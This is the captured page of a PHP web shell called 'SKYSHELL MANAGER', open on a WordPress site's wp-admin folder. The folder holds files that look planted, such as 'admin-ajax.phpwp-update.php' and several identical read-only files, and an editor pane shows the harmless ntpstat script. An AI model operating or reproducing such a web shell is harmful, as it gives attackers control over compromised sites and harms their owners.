📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
surefundeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
17.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
5.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
contribute.php
5.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
credits.php
4.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-comment.php
8.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tag-form.php
10.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
erase-personal-data.php
7.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
link-add.php
0.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-manager.php
4.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
2.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-scripts.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load-styles.php
2.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
maintenance.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
media-new.php
3.17 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media.php
0.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-admin.php
0.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-delete-site.php
4.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-options.php
0.22 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-sites.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ms-themes.php
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
4.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
nav-menus.php
49.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-connectors.php
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-discussion.php
15.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-head.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-media.php
6.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options-reading.php
9.97 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
plugin-install.php
6.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
profile.php
0.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
security.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
site-health-info.php
4.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
theme-install.php
23.65 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade-functions.php
0.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
upgrade.php
6.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-new.php
24.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
users.php
23.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: ntpstat
#!/bin/bash # # This is a shell script which prints the ntpd or chronyd synchronisation # status, using the ntpq or chronyc program. It emulates the original # ntpstat program written in C by G. Richard Keech, which implemented a # subset of the mode6 protocol supported by ntpd. # # Copyright (C) 2016 Miroslav Lichvar <mlichvar@redhat.com> # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. # IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY # CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE # SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. CHRONYC=("/usr/bin/chronyc" "-n") NTPQ=("/usr/sbin/ntpq" "-c" "timeout 100" "-c" "raw") export LC_ALL=C parse_tracking_field() { local tracking=$1 name=$2 field field=$(echo "$tracking" | grep "^$name") echo "${field#* : }" } get_chronyd_state() { local output line disp delay local leap source address stratum distance poll output=$("${CHRONYC[@]}" tracking 2> /dev/null) || return 2 leap=$(parse_tracking_field "$output" "Leap status") case "$leap" in "Normal") leap="0";; "Insert second") leap="1";; "Delete second") leap="2";; "Not synchronised") leap="3";; esac address=$(parse_tracking_field "$output" "Reference ID") address=${address%)*} address=${address#*(} stratum=$(parse_tracking_field "$output" "Stratum") delay=$(parse_tracking_field "$output" "Root delay") delay=${delay% seconds} disp=$(parse_tracking_field "$output" "Root dispersion") disp=${disp% seconds} offset=$(parse_tracking_field "$output" "System time") offset=${offset% seconds*} distance=$(echo "$delay $disp $offset" | \ awk '{ printf "%.3f", ($1 / 2.0 + $2 + $3) * 1e3 }') if [ -n "$address" ]; then line=$("${CHRONYC[@]}" sources 2> /dev/null | \ grep " $address ") || return 3 poll=$(echo "$line" | awk '{ print $4 }') case "${line:0:1}" in "*"|"=") source="NTP server";; "#") source="reference clock";; *) source="unknown source";; esac fi echo "$leap,NTP server,$address,$stratum,$distance,$poll" } parse_rv_field() { local rv=$1 name=$2 field field=$(echo "$rv" | grep -o "$name=[^,]*") echo "${field#*=}" } get_ntpd_state() { local output syspeer_id disp delay local leap source address stratum distance poll output=$("${NTPQ[@]}" -c "rv 0" 2> /dev/null) || return 2 [[ $output == *"associd"*"status"* ]] || return 3 leap=$(parse_rv_field "$output" "leap") source=$(parse_rv_field "$output" "status" | \ awk '{ print and(rshift(strtonum($1), 8), 0x3f) }') case "$source" in 0) source="unspecified";; 1) source="atomic clock";; 2) source="VLF radio";; 3) source="HF radio";; 4) source="UHF radio";; 5) source="local net";; 6) source="NTP server";; 7) source="UDP/TIME";; 8) source="wristwatch";; 9) source="modem";; *) source="unknown source";; esac stratum=$(parse_rv_field "$output" "stratum") delay=$(parse_rv_field "$output" "rootdelay") disp=$(parse_rv_field "$output" "rootdisp") distance=$(echo "$delay $disp" | awk '{ printf "%.3f", $1 / 2.0 + $2 }') : <<'EOF' syspeer_id=$("${NTPQ[@]}" -c associations 2> /dev/null |\ grep 'sys\.peer' | awk '{ print $2 }') || return 4 output=$("${NTPQ[@]}" -c "rv $syspeer_id" 2> /dev/null) || return 5 if [ "$source" = "NTP server" ]; then address=$(parse_rv_field "$output" "srcadr") fi poll=$(parse_rv_field "$output" "hpoll") EOF # bug compatibility with original EL7 ntpstat # - refid interpretted as IP address # - tc interpretted as poll # - code 1 (no drift file in NTPv4) printed as server restart in NTPv3 address=$(parse_rv_field "$output" "refid") poll=$(parse_rv_field "$output" "tc") local code=$(parse_rv_field "$output" "status" | \ awk '{ print and(strtonum($1), 0xf) }') if [ "$leap" -eq 3 ] && [ "$code" -eq 1 ]; then leap=4 fi echo "$leap,$source,$address,$stratum,$distance,$poll" } max_distance="" while getopts "m:h" opt; do case $opt in m) max_distance=$OPTARG ;; *) echo "Usage: $0 [-m MAXERROR]" exit 3 ;; esac done if ! state=$(get_chronyd_state) && ! state=$(get_ntpd_state); then echo "Unable to talk to NTP daemon. Is it running?" >&2 exit 2 fi IFS=, read -r leap source address stratum distance poll <<< "$state" if [ "$leap" -ge 0 -a "$leap" -le 2 ]; then printf "synchronised to %s" "$source" if [ -n "$address" ]; then printf " (%s)" "$address" fi if [ -n "$stratum" ]; then printf " at stratum %d\n" "$stratum" else printf ", stratum unknown\n" fi if [ -n "$distance" ]; then printf " time correct to within %.0f ms" "$distance" if [ -n "$max_distance" ] && echo "$distance $max_distance" | awk '{ exit $1 <= $2 }'; then printf " (exceeded maximum of %s ms)\n" "$max_distance" status=1 else printf "\n" status=0 fi else printf "accuracy unknown\n" [ -n "$max_distance" ] && status=1 || status=0 fi else printf "unsynchronised\n" if [ "$leap" -eq 4 ]; then printf " time server re-starting\n" fi status=1 fi if [ -n "$poll" ]; then printf " polling server every %d s\n" "$[2**$poll]" else printf "poll interval unknown\n" fi exit $status
Save